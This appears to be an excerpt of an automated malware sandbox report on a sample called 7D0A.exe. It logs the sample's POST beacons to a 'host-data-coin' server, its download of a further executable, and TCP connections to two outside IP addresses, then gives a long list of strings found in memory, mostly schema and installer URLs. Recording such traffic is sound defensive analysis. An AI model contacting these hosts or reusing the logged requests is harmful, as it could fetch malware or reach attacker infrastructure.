Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://klaqrtvjum.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://veccr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 115Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://egxhxygmwb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qcruxq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/9042_1641895079_9876.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jurgfiow.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 158Host: host-data-coin-11.com

Source: global traffic	TCP traffic: 192.168.2.3:49789 -> 185.7.214.171:8080
Source: global traffic	TCP traffic: 192.168.2.3:49886 -> 86.107.197.138:38133

Source: 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp

String found in binary or memory: https://www.facebook.com/chat/video/videocalldownload.php

Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: svchost.exe, 00000012.00000002.407131420.000001994C700000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.409739302.0000000004F53000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000002.413788318.0000000004F53000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000012.00000002.406719122.000001994C0EB000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: svchost.exe, 00000012.00000003.378171100.000001994C78D000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.377817839.000001994C77C000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.378193958.000001994C7CE000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: 7D0A.exe, 00000025.00000002.523221943.0000000002B80000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: http://service.r
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: http://support.a
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523539802.0000000002CAE000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524054463.0000000002E2D000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.524328614.0000000002EED000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: 7D0A.exe, 00000025.00000002.523816698.0000000002D70000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: 7D0A.exe, 00000025.00000002.523221943.0000000002B80000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523816698.0000000002D70000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: 7D0A.exe, 00000025.00000002.523253822.0000000002B84000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: 7D0A.exe, 00000025.00000002.523816698.0000000002D70000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: 7D0A.exe, 00000025.00000002.523816698.0000000002D70000.00000004.00000001.sdmp, 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: 7D0A.exe, 00000025.00000002.523154527.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
